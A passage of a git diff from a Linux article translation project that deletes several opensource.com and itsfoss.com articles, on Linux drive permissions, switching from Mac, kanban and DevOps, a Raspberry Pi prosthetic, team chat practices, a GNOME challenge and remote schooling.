 --default -m u:500:rwx,u:1000:rwx,u:alice:rwx -``` - -It's not wise to indiscriminately set all file permissions to executable, so next, find all files and set permissions to **re**. Files that require an executable bit can be set manually or by file extension: - - -``` -$ find /mnt/mydrive/umbrella -type f | \ -  parallel --max-args=6 setfacl \ -  --default -m u:500:rw,u:1000:rw,u:alice:rw -``` - -Adjust the logic of these commands to suit your individual need (don't run a command that removes the executable bit on **/usr**, for instance, or on a directory containing nothing but executable programs). - -### External drives - -Don't let confusion around external drives on Linux get the best of you, and don't limit yourself to traditional UNIX permissions. Put access control lists to work for you, and feel free to use native journaled Linux filesystems on your portable drives. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/external-drives-linux - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/car-penguin-drive-linux-yellow.png?itok=twWGlYAc (Penguin driving a car with a yellow background) -[2]: https://opensource.com/resources/linux diff --git a/sources/tech/20200330 Why I switched from Mac to Linux.md b/sources/tech/20200330 Why I switched from Mac to Linux.md deleted file mode 100644 index 95561b6b45..0000000000 --- a/sources/tech/20200330 Why I switched from Mac to Linux.md +++ /dev/null @@ -1,68 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why I switched from Mac to Linux) -[#]: via: (https://opensource.com/article/20/3/mac-linux) -[#]: author: (Lee Tusman https://opensource.com/users/leeto) - -Why I switched from Mac to Linux -====== -After 25 years, Lee made the switch to Linux and couldn't be happier. -Here's what he uses. -![Code going into a computer.][1] - -In 1994, my family bought a Macintosh Performa 475 as a home computer. I had used Macintosh SE computers in school and learned to type with [Mavis Beacon Teaches Typing][2], so I've been a Mac user for well over 25 years. Back in the mid-1990s, I was attracted to its ease of use. It didn't start with a DOS command prompt; it opened to a friendly desktop. It was playful. And even though there was a lot less software for Macintosh than PCs, I thought the Mac ecosystem was better, just on the strength of KidPix and Hypercard, which I still think of as the unsurpassed, most intuitive _creative stack_. - -Even so, I still had the feeling that Mac was an underdog compared to Windows. I remember thinking the company could disappear one day. Flash-forward decades later, and Apple is a behemoth, a trillion-dollar company. But as it evolved, it changed significantly. Some changes have been for the better, such as better stabilization, simpler hardware choices, increased security, and more accessibility options. Other changes annoyed me—not all at once, but slowly. Most significantly, I am annoyed by Apple's closed ecosystem—the difficulty of accessing photos without iPhoto; the necessity of using iTunes; and the enforced bundling of the Apple store ecosystem even when I don't want to use it. - -Over time, I found myself working largely in the terminal. I used iTerm2 and the [Homebrew][3] package manager. I couldn't get all my Linux software to work, but much of it did. I thought I had the best of both worlds: the macOS graphical operating system and user interface alongside the ability to jump into a quick terminal session. - -Later, I began using Raspberry Pi computers booting Raspbian. I also collected a number of very old laptops rescued from the trash at universities, so, by necessity, I decided to try out various Linux distros. While none of them became my main machine, I started to really enjoy using Linux. I began to consider what it would be like to try running a Linux distro as my daily driver, but I thought the Macbook's comfort and ease, especially the hardware's size and weight, would be hard to find in a non-Mac laptop. - -## Time to make the switch? - -About two years ago, I began using a Dell for work. It was a larger laptop with an integrated GPU, and dual-booted Linux and Windows. I used it for game development, 3D modeling, some machine learning, and basic programming in C# and Java. I considered making it my primary machine, but I loved the portability of my Macbook Air, and continued to use that as well. - -Last fall, I started to notice my Air was running hot, and the fan was coming on more often. My primary machine was starting to show its age. For years, I used the Mac's terminal to access Darwin's Unix-like operating system, and I was spending more and more time bouncing between the terminal and my web browser. Was it time to make the switch? - -I began exploring the possibilities for a Macbook-like Linux laptop. After doing some research, reading reviews and message boards, I went with the long-celebrated Dell XPS 13 Developer Edition 7390, opting for the 10th Generation i7. I chose it because I love the feel of the Macbook (and especially the slim Macbook Air), and reviews of the XPS 13 suggested it seemed it was similar, with really positive reviews of the trackpad and keyboard. - -Most importantly, it came loaded with Ubuntu. While it's easy enough to get a PC, wipe it, and install a new Linux distro, I was attracted to the cohesive operating system and hardware, but one that allowed a lot of the customization we know and love in Linux. So when there was a sale, I took the plunge and purchased it. - -## What it's like to run Linux daily - -I've been using the XPS 13 for three months and my dual-booted Linux work laptop for two years. At first, I thought I'd want to spend more time finding an alternate desktop environment or window manager that was more Mac-like, such as [Enlightenment][4]. I tried several, but I have to say, I like the simplicity of running [GNOME][5] out of the box. For one thing, it's minimal; there's not much GUI to get caught up in. In fact, it's intuitive and the [overview][6] takes only a couple minutes to read.  - -I can access my applications through the application dash bar or a grid button to get to the application view. To access my file system, I click on the **Files** icon in the dash. To open the GNOME terminal, I type **Ctrl+Alt+T** or just **Alt+Tab** to switch between an open application and an open terminal. It's also easy to define your own [custom hotkey shortcuts][7]. - -Beyond this, there's not much else to say. Unlike the Mac's desktop, there's not a lot to get lost in, which means there's less to distract me from my work or the applications I want to run. I didn't realize all the options or how much time I spent navigating windows on my Mac. In Linux, there are just files, applications, and the terminal. - -I installed the [i3 tiling window manager][8] to do a test run. I had a few issues configuring it because I type in [Dvorak][9], and i3 doesn't adapt to the alternate keyboard configuration. I think with more effort, I could figure out a new keyboard mapping in i3, but the main thing I was looking for was simple tiling. - -I looked up GNOME's tiling capabilities and was pleasantly surprised. You press the **Super** key (for me, it's the key with the Windows logo—which I should cover with a sticker!) and then a modifier key. For example, pressing **Super+Left** moves your current window to a tile on the left side of the screen. **Super+Right** moves to the right half. **Super+Up** maximizes the current window. **Super+Down** reverts to the previous size. You can move between app windows with **Alt+Tab**. This is all default behavior and can be customized in the Keyboard settings. - -Plugging in headphones or connecting to HDMI works the way you expect. Sometimes, I open the Sound settings to switch between the HDMI sound output or my external audio cable, just as I would on a Mac or PC. The trackpad is responsive, and I haven't noticed any difference from the Macbook's. When I plug in a three-button mouse, it works instantly, even with my Bluetooth mouse and keyboard. - -### Software - -I installed Atom, VLC, Keybase, Brave Browser, Krita, Blender, and Thunderbird in a matter of minutes. I installed other software with the Apt package manager in the terminal (as normal), which offers many more packages than the Homebrew package manager for macOS. - -### Music - -I have a variety of options for listening to music. I use Spotify and [PyRadio][10] to stream music. [Rhythmbox][11] is installed by default on Ubuntu; the simple music player launches instantly and without any bloat. Simply click on the menu, choose **Add Music**, and navigate to a directory of audio tracks (it searches recursively). You can also stream podcasts or online radio easily. - -### Text and PDFs - -I tend to write in Markdown in [Neovim][12] with some plugins, then convert my document using Pandoc to whatever final format is needed. For a nice Markdown editor with preview, I downloaded [Ghostwriter][13], a minimal-focus writing application. - -If someone sends me a Microsoft Word document, I can open it using the default LibreOffice Writer application. - -Occasionally, I have to sign a document. This is easy with macOS's Preview application and my signature in PNG format, and I needed a Linux equivalent. I found that the default PDF viewer app didn't have the annotation tools I needed. The LibreOffice Draw program was acceptable but not particularly easy to use, and it occasionally crashed. Based on some research, I installed [Xournal][14], which has the simple annotation tools I need to add dates, text, and my signature and is fairly comparable to Mac's Preview app. It works exactly as needed. - -### Importing images from my phone - -I have an iPhone. To get my images off the phone, there are a number of methods to sync and access your files. If you have a different phone, your process may be different. Here's my method: - - 1. Install gvfs-backends with **sudo apt install gvfs-backends**, which is part of the GNO \ No newline at end of file diff --git a/sources/tech/20200401 How does kanban relate-to DevOps.md b/sources/tech/20200401 How does kanban relate-to DevOps.md deleted file mode 100644 index 3f37c35a4c..0000000000 --- a/sources/tech/20200401 How does kanban relate-to DevOps.md +++ /dev/null @@ -1,117 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How does kanban relate to DevOps?) -[#]: via: (https://opensource.com/article/20/4/kanban-devops) -[#]: author: (Willy-Peter Schaub https://opensource.com/users/wpschaub) - -How does kanban relate to DevOps? -====== -Reduce waste, optimize the flow of value, and continuously deliver value -to delighted users. -![two women kanban brainstorming and brainmapping with post-it notes on a whiteboard ][1] - -Kanban is nothing new; in fact, it predates most readers of this article. Its age becomes apparent when we add the year Toyota introduced kanban in its main plant machine shop (1953) to the timeline image from our [analyzing the DNA of DevOps][2] article. - -![DevOps timeline][3] - -I have intuitively been using kanban, in one form or the other, for more than two decades to track personal plans, engineering projects, and digital transformations. Only in the past few weeks have I pondered the origins, power, and synergy of kanban with other frameworks and systems, while introducing teams to kanban and helping them embrace it as a powerful system in our common engineering system. - -### What is kanban? - -Kanban means "visual signal" and has its roots in the Toyota manufacturing industry. It was developed by [Taiichi Ohno][4] to improve manufacturing efficiency. When we jump a few decades into the future, kanban complements agile and lean, often used with frameworks such as scrum, Scaled Agile Framework, and Disciplined Agile to visualize and manage work. - -![Kanban complements agile and lean][5] - -You can explore the many interpretations of kanban on the internet, in books, and in vibrant discussions with other engineers who have embraced the system. In the context of our common collaboration and engineering system, kanban delivers four pivotal practices: - - * **Visualize work:** We visualize all work and look for triggers such as cards turning **red** when the work they represent is blocked or has been dormant for more than two days. - * **Limit work in progress:** We agree on and enforce (soft) work-in-progress limits to encourage reduced batch sizes and manage queue lengths. - * **Focus on flow:** We _pull_ not push work, which helps us to defer commitment until we meet our definition of done (_DoD_) and we have the capacity to commit to the next _activity_. - * **Continuous improvement:** It is important to measure work from when it enters our backlog, how long it takes to get through the process (lead time), and how efficient we are working (cycle/lead time). This enables us to continuously inspect and improve how we work and track progress. - - - -![Kanban practices and terminology][6] - -We use colorful, visual cards to represent activities that flow through one or more _activities_ in one of many _swim lanes_. Each kanban column represents an activity, and each swim lane represents a person, group, or another bucket to segment the cards. There are no rules for the color of the cards, but **red** typically signals a problem. But remember to combine color with a meaningful icon to visualize special states for users who are color-blind. - -> "_We should defer commitment until our Definition of Ready (DOR) is met so that we can ensure that our Definition of Done (DOD) is achieved sooner and with high quality. I like the two distinct terms (DOR and DOD) because the [project owner] should be accountable for the DOR while the team can take ownership of the DOD_." —[Mathew Mathai][7] - -I often use this analogy to explain the difference between _lead_ and _cycle_ time to new teams: Imagine you walk into a restaurant. You sit down, study the menu, and decide what you would like to drink and eat. When the waiter takes your order, the _lead_ cycle time starts ticking. When the bar starts pouring your favorite potion and the kitchen starts preparing your meal, the _cycle_ time starts ticking. As the order arrives at your table, both the lead and cycle time are stopped if (and only if) you are satisfied. - -Therefore, the _lead_ time measures how long you, the customer, had to wait until you received your order. The _cycle_ time measures the process time of an activity to prepare your order. From a customer perspective, the _lead_ time is important. - -It is important to _make your policies explicit_, such as when you start measuring lead and cycle times. Some customers start their "impatience" clock when they enter the restaurant, while others start the clock when they place their order. In both cases, they need to understand how you measure your flow to avoid misunderstandings, unfeasible expectations, and disappointment. - -This image is extracted from one of our information transfer posters, and it summarizes key learnings when we started adopting the kanban system. - -![Key kanban learnings][8] - -### What about DevOps? - -In _[Using PowerShell to automate Linux, macOS, and Windows processes][9]_, we briefly introduced value-stream mapping. It enables us to measure individual and total lead times, cycle times, efficiency, and quality and unearth different activities, groups, and silos that cancel out each other. - -![value-stream mapping][10] - -You will notice a similarity between the kanban board and the value-stream mapping images. Both _visualize_ and _focus_ on the flow of activities represented by individual cards pulled across a visual board. - -![Continuous delivery pipeline][11] - -Continuous flow and efficiency are core to a healthy DevOps mindset. It transforms into a continuous delivery pipeline, as shown above, which unites different teams, such as business, development, security, and quality assurance, to implement ideas from ideation to production. Continuously measuring and streamlining the delivery pipeline not only helps improve the flow of value, but also the quality of value. - -It should be evident that (similar to kanban) the focus here is on flow. Flipping back and forth between activities is frowned upon in kanban and impractical with continuous delivery pipelines. It reminds me of a recent whiteboard discussion where we discussed the challenge of visualizing and managing the flow of work that requires two teams. - -![Dividing a job between two teams][12] - -As shown here, we slice a job that requires team X to perform activities, then team Y, and again team X, into three stories. The three stories are visualized by three cards on two kanban boards, flowing from A to B to C, with clear ownership by team X and Y, which we can measure independently as lead and cycle time. - -We are drifting into another exciting topic of flow optimization … let's get back to the original question. - -### What is the relationship between kanban and DevOps? - -[Donovan Brown][13] defines DevOps as "_the union of people, process, and products to enable continuous delivery of value to our end users._" - -When we unpack this definition, we realize that the core of the DevOps [mindset][14] is to continuously deliver value and delight our customers. - - * _"Feedback from stakeholders is essential."_ - * _"Improve beyond the limits of today's processes."_ - * _"No new silos to break down silos."_ - * _"Knowing your customers means cross-organization collaboration."_ - * _"Inspire adoption through enthusiasm."_ - - - -The kanban system helps us visualize and improve the efficiency of value delivery, resulting in delighted customers. I argue that if you are comfortable with kanban, you will enjoy the full benefits of DevOps through _visualization_, _flow improvement_, _feedback_, and _continuous innovation_. - -We have collaboration at its finest—_synergy_**,** or is that _symbiosis_? - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/kanban-devops - -作者:[Willy-Peter Schaub][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/wpschaub -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/whiteboard-brainstorming-brainmapping-design-thinking-postits-kanban.png?itok=Is2Tg1Jk (Brainstorming with post-it notes on a whiteboard) -[2]: https://opensource.com/article/18/11/analyzing-devops -[3]: https://opensource.com/sites/default/files/uploads/devops-timeline.png (DevOps timeline) -[4]: https://en.wikipedia.org/wiki/Taiichi_Ohno -[5]: https://opensource.com/sites/default/files/uploads/kanban-agile-lean-devops.png (Kanban complements agile and lean) -[6]: https://opensource.com/sites/default/files/uploads/kanban-practices-terms.png (Kanban practices and terminology) -[7]: https://opensource.com/users/anicheinc -[8]: https://opensource.com/sites/default/files/uploads/kanban-key-learnings.png (Key kanban learnings) -[9]: https://opensource.com/article/20/2/devops-automation -[10]: https://opensource.com/sites/default/files/uploads/value-stream-mapping.png (value-stream mapping) -[11]: https://opensource.com/sites/default/files/uploads/cd-pipeline.png (Continuous delivery pipeline) -[12]: https://opensource.com/sites/default/files/uploads/splitting-jobs.png (Dividing a job between two teams) -[13]: https://www.donovanbrown.com/post/what-is-devops -[14]: https://opensource.com/article/19/5/values-devops-mindset diff --git a/sources/tech/20200403 Building a sensing prosthetic with the Raspberry Pi.md b/sources/tech/20200403 Building a sensing prosthetic with the Raspberry Pi.md deleted file mode 100644 index 0eef549525..0000000000 --- a/sources/tech/20200403 Building a sensing prosthetic with the Raspberry Pi.md +++ /dev/null @@ -1,85 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Building a sensing prosthetic with the Raspberry Pi) -[#]: via: (https://opensource.com/article/20/4/raspberry-pi-sensebreast) -[#]: author: (Kathy Reid https://opensource.com/users/kathyreid) - -Building a sensing prosthetic with the Raspberry Pi -====== -SenseBreast is an early prototype of a sensing mastectomy prosthetic -based on open hardware. -![Open source doctor.][1] - -_Content advisory: this article contains frank discussions of breast cancer._ - -What's the first question you ask your surgeon when you're discussing reconstruction options after breast cancer? - -"How many USB ports can you give me?" is probably not the one that comes to mind for many people! - -Although the remark was said jokingly, it sparked a thread that would ultimately become [SenseBreast][2]—an early prototype of a sensing mastectomy prosthetic, based on open hardware. - -### How did SenseBreast come about? - -All technology has a history—an origin story of experimentation, missteps, successes, setbacks, and breakthroughs. SenseBreast is no different. SenseBreast was developed as a term project for the Masters of Applied Cybernetics—a highly selective course at the Australian National University's [3A Institute][3]. The mission of the 3Ai is to bring artificial intelligence and cyber-physical systems safely, responsibly, and sustainably to scale. The purpose of the assignment was to explore the nexus between the electronic, virtual world, and the physical, tactile world. - -### What is SenseBreast? - -SenseBreast combines two distinct elements: a cyber component—electronics, sensors, and storage for gathering data, and a physical component—a breast form designed to be worn inside a mastectomy bra. SenseBreast is a rudimentary cyber-physical system. In cyber-physical systems, physical and software components are deeply intertwined and interact in different ways depending on context. - -The SenseBreast draws on a rich heritage of open source hardware and software. Based on the Raspberry Pi 3B+, it uses the Debian-flavored Raspbian operating system, Python to interact with the onboard sensors, and d3.js to visualize the data that the sensors generate. - -Early versions of the SenseBreast used the SenseHAT, but in the true spirit of open source collaboration, I partnered with Australian open source luminary Jon Oxer to develop a custom SenseBreast board. This contains an inertial motion unit (IMU) and temperature, humidity, and pressure sensors, just like the SenseHAT, but in addition, it contains the BME680 volatile gas sensor and a breakout for a heart rate monitor. - -![SenseBreast open hardware board developed by Jon Oxer and Kathy Reid][4] - -SenseBreast is wearable tech, so the physical form of the cyber-physical system is also important. Factors like comfort, texture, and fit in clothing are important in the design of wearables because technology isn't better unless it's better for people! The early attempts at building a housing for SenseBreast were spectacular failures; in fact, the very first iteration was put together using acrylic render and linen cloth, and held together with paper clips—in true hacker style! It wasn't comfortable to wear at all, but it served as a proof point for further exploration. - -![First attempt at creating a breast form using acrylic render covered in linen cloth][5] - -Later iterations used a different approach. This involved taking a cast of a breast, using quick-dry silicone supported by a plaster cast. The resulting mold was then used with slow-setting silicone to create a true-to-life shape. A recess was carved into the form to house the electronic components, and an additional silicone layer was added to protect the wearer's skin from contact with electronics. - -### What did we learn from SenseBreast? - -The key learning from SenseBreast is that data is partial. It only tells part of a story. It can be misleading and untrustworthy, which makes the decisions based on that data unreliable too. For example, the sensor data gathered by SenseBreast was affected by how hard the CPU was working. The graph below plots a sequence of 5 minutes of data from SenseBreast, just after the device has booted. You can see that the temperature decreases over time; this is because the CPU has to work harder as the Raspberry Pi boots, and then cools down after the boot operations are completed. - -![Data visualisation of the readings in SenseBreast using the d3.js library][6] - -These sorts of learnings have implications on a broader scale. - -What if the SenseBreast were not an open source device, but a commercial wearable that stored data about me? What if part of the business model of that company was to sell the data that was harvested? What if my health insurer had access to that data? Or prospective employers? Now, more than ever, it's important that we have private, open solutions for sensing data about ourselves. - -### What's next for the SenseBreast project? - -The SenseBreast is a very early prototype, but it has the potential to develop through many different arcs. It could be used to assess range of movement post-surgery, to research how different garments and fabrics adjust to temperature and humidity, and to identify correlations between ambient air pressure and conditions such as lymphoedema. The path SenseBreast takes will be dependent on the passion, needs, and dedication of the incredible global open source community. - -You can learn more about SenseBreast at [https://sensebreast.org][2] and see my presentation at [linux.conf.au][7] 2020 [here][8]. - -The code for SenseBreast is available on [GitHub][9]. - -Health IT has been surprisingly unwilling to deeply support open source software. Despite the huge... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/raspberry-pi-sensebreast - -作者:[Kathy Reid][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/kathyreid -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/osdc_520x292_opensourcedoctor.png?itok=fk79NwpC (Open source doctor.) -[2]: https://sensebreast.org/ -[3]: https://3ainstitute.cecs.anu.edu.au/ -[4]: https://opensource.com/sites/default/files/uploads/49427571178_bb5df37c3a_c.jpg (SenseBreast open hardware board developed by Jon Oxer and Kathy Reid) -[5]: https://opensource.com/sites/default/files/uploads/49641040471_6d0cc91619_c.jpg (First attempt at creating a breast form using acrylic render covered in linen cloth) -[6]: https://opensource.com/sites/default/files/uploads/49640513813_5a7d63803a_c.jpg (Data visualisation of the readings in SenseBreast using the d3.js library) -[7]: http://linux.conf.au -[8]: https://www.youtube.com/watch?v=G3QfZ11DCpc. -[9]: https://github.com/KathyReid/sensebreast diff --git a/sources/tech/20200407 Love or hate chat- 4 best practices for remote teams.md b/sources/tech/20200407 Love or hate chat- 4 best practices for remote teams.md deleted file mode 100644 index 855c622e49..0000000000 --- a/sources/tech/20200407 Love or hate chat- 4 best practices for remote teams.md +++ /dev/null @@ -1,92 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Love or hate chat? 4 best practices for remote teams) -[#]: via: (https://opensource.com/article/20/4/chat-tools-best-practices) -[#]: author: (Jen Wike Huger https://opensource.com/users/jen-wike) - -Love or hate chat? 4 best practices for remote teams -====== -Plus, learn about a few open source alternatives for chat. -![Chat via email][1] - -Chat is a part of most people's daily lives, especially if you work in tech, and especially if you work with teammates located in different parts of the world. It can be a great way to achieve these goals: - - * **to connect**; to share with teammates on a personal level - * **to get work done**; to communicate with teammates about work in progress - * **to share**; to give notes and feedback from experiences, meetings, and interactions outside of the group that may be relevant to your work or interests - - - -I encourage you to explore [open source alternatives to chat][2] like [Mattermost][3], [Rocket.Chat][4], and [Riot][5]. - -### To chat or not to chat, that is the question - -First, it's important to make time to have a discussion with each member of your team focused on answering whether they are comfortable with using a chat platform to keep in touch throughout the workday. Some people enjoy chat and see it as a vital part of their workday, getting things done and communicating with teammates who they rely on to get that work done and move forward with projects. Others struggle with chat as a way of getting work done and prefer to use it when they feel like having more casual conversations with teammates on topics less focused on work and more on social interaction and personal sharing. Some people wish chat would burn in a fire. - -Gather these opinions and talk through these feelings with each person. You can do this as a group or one-on-one if that feels more appropriate. - -Why? Because communication is important and always will be, and your team will find a way to chat no matter what you do. We're human, and need various levels and types of interaction with each other throughout our days and lives. And when it comes to our work colleagues, it's helpful to put some structure in place to guide your team. - -### Best practices for team chat - -If you have decided to use chat in some form, the next step is to place structure around when and how to use it and **not** use it. These best practices work well for teams who are working remotely and at home, as well as in the office. - -**1\. Create rooms and threads to focus your conversations.** - -My team has a room for each of our sub-teams who work on a particular project together. We also have an at-large room for all of us to banter and share. - -Additionally, we use threads to focus on one topic at a time which is helpful when you have several to dozens of teammates in one room together. It helps conversations to continue and not stop prematurely because they were lost in the mix of other conversations. - -**2\. Decide when your team will be signed in and available to talk.** - -Is it throughout the workday (whatever hours those are for you), during a set timeframe, or as desired? - -My team has set the expectation that they will be signed in and available to chat at some point during the workday **about work-related topics**, and that at that time they will check for and respond to messages that were sent to them while they were away. So, we are using it as an asynchronous way to communicate about work. - -For us, asynchronous chat helps us plan and schedule each day how we see fit with the goal of being productive and serving our project in the best we can _that day_. - -If a teammate does **not** plan on signing in and responding to messages one day, that is OK, and we set the expectation that they will send a message to let the team know. For my team, almost no communication is wrong (see guideline #4), but it should be communicated. We also review our schedules for the following week in a team meeting the week before so we know when someone will be away from their desk, not working, or blocking out a chunk of time for a project. - -**3\. Decide when your teammates are responsible for responding (and when they are not).** - -Use @ mentions if you want someone to see and respond to your question or comment in chat. Don't expect them to be watching every thread and conversation.  - -And I would recommend that you take it a step further and define when teammates should be responsible for responding and when they should not. This type of decision is meant to free you and your teammates, not hold you down. The more you understand the expectations, the freer you are to operate within the same understood universe. When you are unsure of the rules, you may act and make decisions in fear or trepidation instead, like staying signed in to chat all day when you really just need to block it out to get something done. - -Our team has decided that it's nice if you can respond in chat when you are mentioned, but if you don't that is OK. Perhaps you were AFK during that time and lost track of the notification. For us, if you definitely want a response to something from someone, send them an email.  - -**4\. Communicate clearly and with kindness.** - -The way we interpret messages when we are chatting via text is different than when we are chatting verbally, in-person or over video. - -My team uses a lot of humor, emojis, and clear, concise messages to chat with each other. - -We also hold weekly in-person or video conference meetings so that we can get to know each other better. The more you trust someone, the easier it is to give them the benefit of the doubt when you're confused by a message and the better you are at understanding what they are saying and what their intention is behind the text coming through to you. - -### Signing off - -What best practices does your team use? Do you love or hate chat, and why?  - -For all kinds of teams today, chat is a special part of how we stay connected, working, and sharing with each other. Finding ways to do that in a healthy and committed way is part of everyone's responsibility. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/chat-tools-best-practices - -作者:[Jen Wike Huger][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jen-wike -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/email_chat_communication_message.png?itok=LKjiLnQu (Chat via email) -[2]: https://opensource.com/alternatives/slack -[3]: https://mattermost.com/ -[4]: https://rocket.chat/ -[5]: https://riot.im/app/ diff --git a/sources/tech/20200409 GNOME Announces Community Engagement Challenge Offering up to -65,000 in Rewards.md b/sources/tech/20200409 GNOME Announces Community Engagement Challenge Offering up to -65,000 in Rewards.md deleted file mode 100644 index 63de71fec7..0000000000 --- a/sources/tech/20200409 GNOME Announces Community Engagement Challenge Offering up to -65,000 in Rewards.md +++ /dev/null @@ -1,84 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (GNOME Announces Community Engagement Challenge Offering up to $65,000 in Rewards) -[#]: via: (https://itsfoss.com/gnome-community-engagement-challenge/) -[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) - -GNOME Announces Community Engagement Challenge Offering up to $65,000 in Rewards -====== - -It’s always good to see several competitions or challenges trying to promote Free and Open-Source Software (FOSS) more than ever. - -In a recent effort by GNOME with the help of [Endless][1], they announced the inaugural GNOME Community Engagement Challenge. - -This Community Challenge is a part of their original announcement of [coding education challenge for which GNOME was granted $500,000 funding by Endless][2] last year. - -The three-phase challenge aims to attract new developers to engage with FOSS and potentially create new/unique solutions that would gain more traction from the next-gen coders. - -The challenge will involve up to $65,000 in cash prizes. Sounds exciting, right? Let’s take a look at some of the details involved in the challenge. - -![][3] - -### Why The GNOME Community Engagement Challenge? - -In their official [press release][4], they mentioned their primary motive for the challenge: - -> “Through the Challenge we hope to reach a diverse audience, to encourage beginning coders to get involved with the FOSS community to help ensure that free software is available long into the future,” said Neil McGovern, GNOME Foundation Executive Director. “What better way to do that than to reach out to the community itself to come up with creative ways to inspire the next generation?” - -As Neil mentioned above, it’s definitely a good idea to reach out to more people (community) to look for creative ways to promote and work on FOSS projects that will leave a significant impact on the open-source community. - -And, rewarding for the ideas in the form of a challenge will easily get the attention needed. - -### Here’s How The Community Challenge Works - -To quote the official announcement: - -> The Challenge will ask entrants to devise creative ways to promote open-source software to coders typically in high school and college. How a submission will achieve this goal has deliberately been left open-ended to encourage unique, novel approaches. - -So, there’s no particular constraint for the type of ideas or projects you can propose and submit. But, it would be wise to read the usual [terms and conditions][5] to know about the submission rules, eligibility, requirements, prize details, and more. - -Here are the key information about the three phases of the challenge as per the announcement: - - * The **first phase** of the Challenge asks entrants to submit a written proposal for their concept no later than **July 1, 2020**. Twenty entries will be chosen to move to the next round and receive **$1000 each**. - * The **second phase** of the Challenge will require proof of concept, with four entries receiving **$5000** and moving onto the final round. - * The final round will call for a deliverable end product, with the winner receiving **$15,000** and the second place finisher receiving **$10,000**. - - - -They plan to announce the winner of the challenge in the spring of 2021. - -You can take a look at their [challenge FAQ][6] and the [official webpage][7] for more details before starting to submit your entry on **April 9th**. The last date of submission is **July 1, 2020**. - -Head to their website to get started and explore more about the challenge. - -[GNOME Community Engagement Challenge][7] - -### Wrapping Up - -I think this is a perfect opportunity for developers to get started with FOSS projects that will end up rewarding them with a good amount of money and help the community at the same time. - -What do you think about the community engagement challenge by GNOME? Feel free to let me know your thoughts in the comments below. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/gnome-community-engagement-challenge/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://www.endlessnetwork.com/ -[2]: https://itsfoss.com/endless-gnome-coding-education-challenge/ -[3]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/04/gnome-community-challenge.png?ssl=1 -[4]: https://www.gnome.org/news/2020/04/gnome-foundation-and-endless-launch-inaugural-community-engagement-challenge/ -[5]: https://www.gnome.org/challenge/terms/ -[6]: https://www.gnome.org/challenge/faq/ -[7]: https://www.gnome.org/challenge/ diff --git a/sources/tech/20200409 How to set up a remote school environment for kids with Linux.md b/sources/tech/20200409 How to set up a remote school environment for kids with Linux.md deleted file mode 100644 index 327af54c79..0000000000 --- a/sources/tech/20200409 How to set up a remote school environment for kids with Linux.md +++ /dev/null @@ -1,75 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to set up a remote school environment for kids with Linux) -[#]: via: (https://opensource.com/article/20/4/school-home-linux) -[#]: author: (Alan Formy-Duval https://opensource.com/users/alanfdoss) - -How to set up a remote school environment for kids with Linux -====== -Repurpose an old computer to support the new home-schooler in your life. -![Image by Alan Formy-Duvall][1] - -COVID-19 has suddenly thrown all of us into a new and challenging situation. Many of us are now working full-time from home, and for a lot of us (especially people who aren't used to working remotely), this is taking some getting used to. - -Another group that is similarly challenged is our kids. They can't go to school or participate in their regular after-school activities. My daughter's elementary school closed its classrooms and is teaching through an online, web-based learning portal instead. And one of her favorite extracurricular activities—a coding school where she has been learning Scratch and just recently "graduated" to WoofJS–has also gone to an online-only format. - -We are fortunate that so many of our children's activities can be done online now, as this is the only way they will be able to learn, share, and socialize for at least the next several months. - -### Setting up a temporary homeschool environment - -When our daughter's school went to an online-only format, we realized she needed a place and some tools to do her work. So we cleaned off her desk and cleared the toys from the floor around it to make an "office" for her. We also realized she would need a computer. While I could have 